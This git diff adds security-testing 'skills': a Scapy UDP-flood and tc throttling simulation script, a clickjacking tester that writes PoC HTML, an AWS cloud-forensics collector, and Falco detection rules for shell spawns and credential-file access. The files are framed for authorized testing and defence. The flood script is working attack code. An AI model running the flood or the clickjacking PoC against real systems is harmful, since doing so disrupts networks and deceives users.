+++ b/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +""" +Bandwidth Throttling Attack Simulation Agent — AUTHORIZED TESTING ONLY +Simulates bandwidth degradation attacks using Scapy and tc (traffic control) +to test QoS controls and network monitoring detection capabilities. + +WARNING: Only use with explicit written authorization on isolated test networks. +""" + +import json +import subprocess +import sys +import time +from datetime import datetime, timezone + +from scapy.all import IP, TCP, UDP, Raw, send, RandShort + + +def run_cmd(cmd: list[str]) -> dict: + """Execute shell command and return output.""" + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return {"success": result.returncode == 0, "stdout": result.stdout, "stderr": result.stderr} + except Exception as e: + return {"success": False, "stdout": "", "stderr": str(e)} + + +def setup_tc_throttle(interface: str, rate: str = "100kbit", latency: str = "200ms") -> dict: + """Configure tc (traffic control) to throttle bandwidth on an interface.""" + clear = run_cmd(["tc", "qdisc", "del", "dev", interface, "root"]) + result = run_cmd([ + "tc", "qdisc", "add", "dev", interface, "root", "netem", + "rate", rate, "delay", latency, "loss", "5%", + ]) + return { + "interface": interface, + "rate_limit": rate, + "added_latency": latency, + "packet_loss": "5%", + "applied": result["success"], + "error": result["stderr"] if not result["success"] else "", + } + + +def remove_tc_throttle(interface: str) -> dict: + """Remove tc throttling rules from interface.""" + result = run_cmd(["tc", "qdisc", "del", "dev", interface, "root"]) + return {"removed": result["success"], "error": result["stderr"] if not result["success"] else ""} + + +def generate_bandwidth_flood(target_ip: str, target_port: int, packet_count: int = 100, + packet_size: int = 1400) -> dict: + """Generate controlled bandwidth consumption traffic using Scapy.""" + payload = Raw(load=b"X" * packet_size) + packets_sent = 0 + start = datetime.now(timezone.utc) + + for _ in range(packet_count): + pkt = IP(dst=target_ip) / UDP(sport=RandShort(), dport=target_port) / payload + send(pkt, verbose=False) + packets_sent += 1 + + end = datetime.now(timezone.utc) + duration = (end - start).total_seconds() + total_bytes = packets_sent * (packet_size + 42) + + return { + "target": f"{target_ip}:{target_port}", + "packets_sent": packets_sent, + "total_bytes": total_bytes, + "total_mb": round(total_bytes / (1024 * 1024), 2), + "duration_seconds": round(duration, 2), + "rate_mbps": round((total_bytes * 8) / (duration * 1_000_000), 2) if duration > 0 else 0, + } + + +def measure_baseline(target_ip: str, port: int = 5201) -> dict: + """Measure baseline bandwidth using iperf3 client.""" + result = run_cmd(["iperf3", "-c", target_ip, "-p", str(port), "-t", "5", "-J"]) + if result["success"]: + data = json.loads(result["stdout"]) + end = data.get("end", {}).get("sum_sent", {}) + return { + "bandwidth_bps": end.get("bits_per_second", 0), + "bandwidth_mbps": round(end.get("bits_per_second", 0) / 1_000_000, 2), + "bytes_transferred": end.get("bytes", 0), + "duration": end.get("seconds", 0), + } + return {"error": result["stderr"], "bandwidth_mbps": 0} + + +def generate_report(baseline: dict, throttle: dict, flood: dict, post_baseline: dict) -> str: + """Generate bandwidth throttling simulation report.""" + lines = [ + "BANDWIDTH THROTTLING ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY", + "=" * 70, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "BASELINE MEASUREMENT:", + f" Bandwidth: {baseline.get('bandwidth_mbps', 'N/A')} Mbps", + "", + "THROTTLE CONFIGURATION:", + f" Interface: {throttle.get('interface', 'N/A')}", + f" Rate Limit: {throttle.get('rate_limit', 'N/A')}", + f" Added Latency: {throttle.get('added_latency', 'N/A')}", + f" Applied: {throttle.get('applied', False)}", + "", + "FLOOD RESULTS:", + f" Target: {flood.get('target', 'N/A')}", + f" Data Sent: {flood.get('total_mb', 0)} MB", + f" Rate: {flood.get('rate_mbps', 0)} Mbps", + "", + "POST-ATTACK MEASUREMENT:", + f" Bandwidth: {post_baseline.get('bandwidth_mbps', 'N/A')} Mbps", + "", + "IMPACT ASSESSMENT:", + ] + + if baseline.get("bandwidth_mbps") and post_baseline.get("bandwidth_mbps"): + degradation = baseline["bandwidth_mbps"] - post_baseline["bandwidth_mbps"] + pct = round(degradation / baseline["bandwidth_mbps"] * 100, 1) if baseline["bandwidth_mbps"] > 0 else 0 + lines.append(f" Bandwidth Degradation: {degradation:.2f} Mbps ({pct}% reduction)") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] BANDWIDTH THROTTLING SIMULATION — AUTHORIZED TESTING ONLY\n") + + if len(sys.argv) < 3: + print(f"Usage: {sys.argv[0]} [packet_count]") + sys.exit(1) + + target_ip = sys.argv[1] + interface = sys.argv[2] + pkt_count = int(sys.argv[3]) if len(sys.argv) > 3 else 100 + + print("[*] Measuring baseline bandwidth...") + baseline = measure_baseline(target_ip) + + print("[*] Applying throttle rules...") + throttle = setup_tc_throttle(interface) + + print(f"[*] Sending {pkt_count} flood packets...") + flood = generate_bandwidth_flood(target_ip, 9999, packet_count=pkt_count) + + print("[*] Measuring post-attack bandwidth...") + post_baseline = measure_baseline(target_ip) + + print("[*] Removing throttle rules...") + remove_tc_throttle(interface) + + report = generate_report(baseline, throttle, flood, post_baseline) + print(report) diff --git a/skills/performing-blind-ssrf-exploitation/LICENSE b/skills/performing-blind-ssrf-exploitation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-blind-ssrf-exploitation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-brand-monitoring-for-impersonation/LICENSE b/skills/performing-brand-monitoring-for-impersonation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-brand-monitoring-for-impersonation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-clickjacking-attack-test/LICENSE b/skills/performing-clickjacking-attack-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-clickjacking-attack-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-clickjacking-attack-test/references/api-reference.md b/skills/performing-clickjacking-attack-test/references/api-reference.md new file mode 100644 index 00000000..dad423aa --- /dev/null +++ b/skills/performing-clickjacking-attack-test/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Performing Clickjacking Attack Test + +## HTTP Security Headers + +| Header | Values | Description | +|--------|--------|-------------| +| `X-Frame-Options` | `DENY`, `SAMEORIGIN`, `ALLOW-FROM uri` | Legacy frame embedding control | +| `Content-Security-Policy: frame-ancestors` | `'none'`, `'self'`, URLs | Modern CSP-based frame control | + +## requests Library + +| Method | Description | +|--------|-------------| +| `requests.get(url, allow_redirects=True)` | Fetch page and follow redirects | +| `response.headers.get("X-Frame-Options")` | Extract frame protection header | +| `response.headers.get("Content-Security-Policy")` | Extract CSP header | + +## PoC HTML Elements + +| Element | Purpose | +|---------|---------| +| ` +
+ +
+ +""" + + +def check_javascript_frame_busting(url: str) -> dict: + """Check for JavaScript-based frame-busting code.""" + try: + resp = requests.get(url, timeout=15) + except requests.RequestException as e: + return {"error": str(e)} + + body = resp.text.lower() + frame_busting_patterns = [ + "top.location", "self.location", "window.top", + "parent.frames", "top !== self", "top != self", + "window.self !== window.top", + ] + + found_patterns = [p for p in frame_busting_patterns if p in body] + + return { + "url": url, + "has_js_frame_busting": len(found_patterns) > 0, + "patterns_found": found_patterns, + "note": "JS frame-busting can be bypassed with sandbox attribute on iframe" if found_patterns else "", + } + + +def generate_report(results: list[dict], js_checks: list[dict]) -> str: + """Generate clickjacking test report.""" + lines = [ + "CLICKJACKING VULNERABILITY TEST REPORT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"Endpoints Tested: {len(results)}", + f"Vulnerable: {sum(1 for r in results if r.get('vulnerable', False))}", + f"Protected: {sum(1 for r in results if not r.get('vulnerable', True))}", + "", + "RESULTS:", + "-" * 50, + ] + + for r in results: + status = "VULNERABLE" if r.get("vulnerable") else "PROTECTED" + lines.append(f" [{status}] {r['url']}") + lines.append(f" X-Frame-Options: {r.get('x_frame_options', 'N/A')}") + lines.append(f" CSP frame-ancestors: {r.get('csp_frame_ancestors', 'N/A')}") + + if js_checks: + lines.extend(["", "JAVASCRIPT FRAME-BUSTING:"]) + for jc in js_checks: + has_js = "YES" if jc.get("has_js_frame_busting") else "NO" + lines.append(f" {jc.get('url', 'N/A')}: JS frame-busting: {has_js}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] CLICKJACKING TEST — AUTHORIZED TESTING ONLY\n") + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [additional_paths...]") + sys.exit(1) + + target_url = sys.argv[1] + extra_paths = sys.argv[2:] if len(sys.argv) > 2 else [ + "/", "/login", "/settings", "/account", "/admin", + ] + + print(f"[*] Testing {target_url} for clickjacking vulnerabilities...") + results = check_multiple_endpoints(target_url, extra_paths) + + js_checks = [] + for r in results: + if r.get("vulnerable"): + jc = check_javascript_frame_busting(r["url"]) + js_checks.append(jc) + + report = generate_report(results, js_checks) + print(report) + + vulnerable = [r for r in results if r.get("vulnerable")] + if vulnerable: + poc = generate_poc_html(vulnerable[0]["url"]) + poc_file = "clickjacking_poc.html" + with open(poc_file, "w") as f: + f.write(poc) + print(f"\n[*] PoC saved to {poc_file}") diff --git a/skills/performing-cloud-asset-inventory-with-cartography/LICENSE b/skills/performing-cloud-asset-inventory-with-cartography/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-asset-inventory-with-cartography/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-forensics-investigation/LICENSE b/skills/performing-cloud-forensics-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-forensics-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-forensics-investigation/references/api-reference.md b/skills/performing-cloud-forensics-investigation/references/api-reference.md new file mode 100644 index 00000000..2e398170 --- /dev/null +++ b/skills/performing-cloud-forensics-investigation/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Performing Cloud Forensics Investigation + +## AWS CloudTrail API (boto3) + +| Method | Description | +|--------|-------------| +| `cloudtrail.lookup_events(StartTime, EndTime)` | Query management events by time window | +| `cloudtrail.get_trail_status(Name)` | Check if trail is actively logging | +| `cloudtrail.describe_trails()` | List configured CloudTrail trails | + +## AWS EC2 API (Forensic Snapshots) + +| Method | Description | +|--------|-------------| +| `ec2.describe_instances(InstanceIds)` | Get instance details and EBS mappings | +| `ec2.create_snapshot(VolumeId, Description)` | Create forensic snapshot of EBS volume | +| `ec2.copy_snapshot(SourceSnapshotId, SourceRegion)` | Copy snapshot cross-region for preservation | +| `ec2.describe_snapshots(SnapshotIds)` | Check snapshot completion status | + +## AWS IAM API + +| Method | Description | +|--------|-------------| +| `iam.list_access_keys(UserName)` | List access keys for investigation target | +| `iam.get_access_key_last_used(AccessKeyId)` | Determine last key usage | +| `iam.list_attached_user_policies(UserName)` | List policies attached to user | + +## AWS S3 API (Log Collection) + +| Method | Description | +|--------|-------------| +| `s3.list_objects_v2(Bucket, Prefix)` | List CloudTrail log files in S3 | +| `s3.get_object(Bucket, Key)` | Download specific log file | + +## Key Libraries + +- **boto3** (`pip install boto3`): AWS SDK for CloudTrail, EC2, IAM, and S3 APIs +- **botocore**: Exception handling for AWS API errors +- **json** (stdlib): Parse CloudTrail event JSON payloads + +## Configuration + +| Variable | Description | +|----------|-------------| +| `AWS_PROFILE` | AWS CLI profile with forensic investigation permissions | +| `AWS_DEFAULT_REGION` | Default region for API calls | +| CloudTrail S3 Bucket | Bucket containing CloudTrail log archives | + +## Required IAM Permissions + +| Permission | Purpose | +|------------|---------| +| `cloudtrail:LookupEvents` | Query CloudTrail events | +| `ec2:DescribeInstances` | Identify volumes for snapshots | +| `ec2:CreateSnapshot` | Create forensic disk snapshots | +| `iam:List*` | Enumerate IAM configuration | +| `s3:GetObject` | Download archived CloudTrail logs | + +## References + +- [AWS CloudTrail API](https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/) +- [AWS Incident Response Guide](https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/) +- [SANS Cloud Forensics](https://www.sans.org/white-papers/cloud-forensics/) diff --git a/skills/performing-cloud-forensics-investigation/scripts/agent.py b/skills/performing-cloud-forensics-investigation/scripts/agent.py new file mode 100644 index 00000000..0ca6df70 --- /dev/null +++ b/skills/performing-cloud-forensics-investigation/scripts/agent.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 +""" +Cloud Forensics Investigation Agent +Collects and analyzes forensic evidence from AWS cloud environments including +CloudTrail logs, EC2 snapshots, and IAM activity for incident response. +""" + +import json +import sys +from datetime import datetime, timezone, timedelta + +import boto3 +from botocore.exceptions import ClientError + + +def collect_cloudtrail_events( + start_time: datetime, end_time: datetime, region: str = "us-east-1" +) -> list[dict]: + """Collect CloudTrail management events for the investigation window.""" + ct = boto3.client("cloudtrail", region_name=region) + events = [] + + paginator = ct.get_paginator("lookup_events") + for page in paginator.paginate( + StartTime=start_time, + EndTime=end_time, + MaxResults=50, + ): + for event in page.get("Events", []): + cloud_event = json.loads(event.get("CloudTrailEvent", "{}")) + events.append({ + "timestamp": str(event.get("EventTime", "")), + "event_name": event.get("EventName", ""), + "event_source": event.get("EventSource", ""), + "username": event.get("Username", ""), + "source_ip": cloud_event.get("sourceIPAddress", ""), + "user_agent": cloud_event.get("userAgent", ""), + "region": cloud_event.get("awsRegion", ""), + "error_code": cloud_event.get("errorCode", ""), + "error_message": cloud_event.get("errorMessage", ""), + "resources": event.get("Resources", []), + }) + + return events + + +def identify_suspicious_activity(events: list[dict]) -> list[dict]: + """Identify suspicious CloudTrail events indicating compromise.""" + suspicious_patterns = { + "ConsoleLogin": "Console login detected", + "CreateAccessKey": "New access key created", + "CreateUser": "New IAM user created", + "AttachUserPolicy": "Policy attached to user", + "PutBucketPolicy": "S3 bucket policy modified", + "AuthorizeSecurityGroupIngress": "Security group opened", + "RunInstances": "EC2 instance launched", + "CreateKeyPair": "SSH key pair created", + "StopLogging": "CloudTrail logging stopped", + "DeleteTrail": "CloudTrail trail deleted", + "ModifySnapshotAttribute": "Snapshot shared externally", + "CreateLoginProfile": "Console password set for user", + } + + suspicious = [] + for event in events: + event_name = event["event_name"] + if event_name in suspicious_patterns: + suspicious.append({ + **event, + "reason": suspicious_patterns[event_name], + "severity": "HIGH" if event_name in ( + "StopLogging", "DeleteTrail", "CreateAccessKey", "AttachUserPolicy" + ) else "MEDIUM", + }) + + if event.get("error_code") == "AccessDenied": + suspicious.append({ + **event, + "reason": "Access denied - possible reconnaissance", + "severity": "LOW", + }) + + return suspicious + + +def snapshot_ec2_instance(instance_id: str, region: str = "us-east-1") -> list[dict]: + """Create forensic snapshots of all EBS volumes attached to an instance.""" + ec2 = boto3.client("ec2", region_name=region) + snapshots = [] + + try: + instance = ec2.describe_instances(InstanceIds=[instance_id]) + reservations = instance["Reservations"] + if not reservations: + return [{"error": f"Instance {instance_id} not found"}] + + volumes = [] + for reservation in reservations: + for inst in reservation["Instances"]: + for mapping in inst.get("BlockDeviceMappings", []): + vol_id = mapping.get("Ebs", {}).get("VolumeId") + if vol_id: + volumes.append({"volume_id": vol_id, "device": mapping["DeviceName"]}) + + for vol in volumes: + snap = ec2.create_snapshot( + VolumeId=vol["volume_id"], + Description=f"Forensic snapshot - {instance_id} - {vol['device']} - " + f"{datetime.now(timezone.utc).strftime('%Y%m%d')}", + TagSpecifications=[{ + "ResourceType": "snapshot", + "Tags": [ + {"Key": "Purpose", "Value": "forensics"}, + {"Key": "SourceInstance", "Value": instance_id}, + {"Key": "SourceVolume", "Value": vol["volume_id"]}, + ], + }], + ) + snapshots.append({ + "snapshot_id": snap["SnapshotId"], + "volume_id": vol["volume_id"], + "device": vol["device"], + "state": snap["State"], + }) + + except ClientError as e: + snapshots.append({"error": str(e)}) + + return snapshots + + +def collect_iam_activity(username: str) -> dict: + """Collect IAM activity for a specific user.""" + iam = boto3.client("iam") + result = {"user": username, "access_keys": [], "policies": [], "groups": []} + + try: + keys = iam.list_access_keys(UserName=username) + for key in keys.get("AccessKeyMetadata", []): + last_used = iam.get_access_key_last_used(AccessKeyId=key["AccessKeyId"]) + result["access_keys"].append({ + "key_id": key["AccessKeyId"], + "status": key["Status"], + "created": str(key["CreateDate"]), + "last_used": str(last_used.get("AccessKeyLastUsed", {}).get("LastUsedDate", "Never")), + "last_service": last_used.get("AccessKeyLastUsed", {}).get("ServiceName", "N/A"), + }) + + policies = iam.list_attached_user_policies(UserName=username) + result["policies"] = [p["PolicyArn"] for p in policies["AttachedPolicies"]] + + groups = iam.list_groups_for_user(UserName=username) + result["groups"] = [g["GroupName"] for g in groups["Groups"]] + + except ClientError as e: + result["error"] = str(e) + + return result + + +def generate_report(events: list, suspicious: list, snapshots: list, iam: dict) -> str: + """Generate cloud forensics investigation report.""" + lines = [ + "CLOUD FORENSICS INVESTIGATION REPORT", + "=" * 50, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"CloudTrail Events Collected: {len(events)}", + f"Suspicious Events: {len(suspicious)}", + f"Forensic Snapshots Created: {len(snapshots)}", + "", + "SUSPICIOUS ACTIVITY:", + "-" * 40, + ] + + for s in suspicious[:15]: + lines.append(f" [{s['severity']}] {s['timestamp']} - {s['event_name']}") + lines.append(f" User: {s['username']} | IP: {s['source_ip']} | {s['reason']}") + + if snapshots: + lines.extend(["", "FORENSIC SNAPSHOTS:"]) + for snap in snapshots: + if "error" not in snap: + lines.append(f" {snap['snapshot_id']} (vol: {snap['volume_id']}, device: {snap['device']})") + + if iam.get("access_keys"): + lines.extend(["", f"IAM ACTIVITY ({iam['user']}):"]) + for key in iam["access_keys"]: + lines.append(f" Key: {key['key_id']} | Status: {key['status']} | Last Used: {key['last_used']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + hours_back = int(sys.argv[1]) if len(sys.argv) > 1 else 24 + instance_id = sys.argv[2] if len(sys.argv) > 2 else None + username = sys.argv[3] if len(sys.argv) > 3 else None + + end_time = datetime.now(timezone.utc) + start_time = end_time - timedelta(hours=hours_back) + + print(f"[*] Collecting CloudTrail events ({hours_back}h window)...") + events = collect_cloudtrail_events(start_time, end_time) + suspicious = identify_suspicious_activity(events) + print(f"[*] Found {len(suspicious)} suspicious events") + + snapshots = [] + if instance_id: + print(f"[*] Creating forensic snapshots for {instance_id}...") + snapshots = snapshot_ec2_instance(instance_id) + + iam_data = {} + if username: + print(f"[*] Collecting IAM activity for {username}...") + iam_data = collect_iam_activity(username) + + report = generate_report(events, suspicious, snapshots, iam_data) + print(report) + + output = f"cloud_forensics_{datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S')}.json" + with open(output, "w") as f: + json.dump({"events": events, "suspicious": suspicious, "snapshots": snapshots, "iam": iam_data}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-cloud-incident-containment-procedures/LICENSE b/skills/performing-cloud-incident-containment-procedures/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-incident-containment-procedures/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-native-forensics-with-falco/LICENSE b/skills/performing-cloud-native-forensics-with-falco/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-native-forensics-with-falco/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-native-forensics-with-falco/SKILL.md b/skills/performing-cloud-native-forensics-with-falco/SKILL.md new file mode 100644 index 00000000..a4d9bbf8 --- /dev/null +++ b/skills/performing-cloud-native-forensics-with-falco/SKILL.md @@ -0,0 +1,47 @@ +--- +name: performing-cloud-native-forensics-with-falco +description: > + Uses Falco YAML rules for runtime threat detection in containers and Kubernetes, + monitoring syscalls for shell spawns, file tampering, network anomalies, and privilege + escalation. Manages Falco rules via the Falco gRPC API and parses Falco alert output. + Use when building container runtime security or investigating k8s cluster compromises. +--- + +# Performing Cloud Native Forensics with Falco + +## Instructions + +Deploy and manage Falco rules for runtime security detection in containerized +environments. Parse Falco alerts for incident response. + +```yaml +# Custom Falco rule for detecting shell in container +- rule: Shell Spawned in Container + desc: Detect shell process started in a container + condition: > + spawned_process and container + and proc.name in (bash, sh, zsh, dash, csh) + and not proc.pname in (docker-entrypo, supervisord) + output: > + Shell spawned in container + (user=%user.name command=%proc.cmdline container=%container.name + image=%container.image.repository) + priority: WARNING + tags: [container, shell, mitre_execution] +``` + +Key detection rules: +1. Shell spawn in non-interactive containers +2. Sensitive file access (/etc/shadow, /etc/passwd) +3. Outbound connections from unexpected containers +4. Privilege escalation via setuid/setgid +5. Container escape via mount or ptrace + +## Examples + +```bash +# Run Falco with custom rules +falco -r /etc/falco/custom_rules.yaml -o json_output=true +# Parse JSON alerts +cat /var/log/falco/alerts.json | python3 -c "import json,sys; [print(json.loads(l)['output']) for l in sys.stdin]" +``` diff --git a/skills/performing-cloud-native-forensics-with-falco/references/api-reference.md b/skills/performing-cloud-native-forensics-with-falco/references/api-reference.md new file mode 100644 index 00000000..75c64f68 --- /dev/null +++ b/skills/performing-cloud-native-forensics-with-falco/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Performing Cloud Native Forensics with Falco + +## Falco Rule YAML Structure + +```yaml +- rule: Shell Spawned in Container + desc: Detect shell in container + condition: > + spawned_process and container + and proc.name in (bash, sh, zsh) + output: > + Shell spawned (user=%user.name command=%proc.cmdline + container=%container.name image=%container.image.repository) + priority: WARNING + tags: [container, shell, mitre_execution] +``` + +## Falco Condition Fields + +| Field | Description | +|-------|-------------| +| `proc.name` | Process name | +| `proc.cmdline` | Full command line | +| `proc.pname` | Parent process name | +| `user.name` | User running process | +| `fd.name` | File descriptor name/path | +| `container.name` | Container name | +| `container.image.repository` | Container image | +| `container.privileged` | Privileged flag | +| `evt.type` | Syscall type (execve, open, connect) | + +## Falco Priority Levels + +`EMERGENCY > ALERT > CRITICAL > ERROR > WARNING > NOTICE > INFO > DEBUG` + +## Falco HTTP API + +```python +import requests +# Health check +requests.get("http://localhost:8765/healthz") +# Version +requests.get("http://localhost:8765/version") +``` + +## Helm Deployment + +```bash +helm repo add falcosecurity https://falcosecurity.github.io/charts +helm install falco falcosecurity/falco \ + --set driver.kind=ebpf \ + --set falcosidekick.enabled=true +``` + +### References + +- Falco: https://falco.org/docs/ +- Falco rules: https://github.com/falcosecurity/rules +- Falcosidekick: 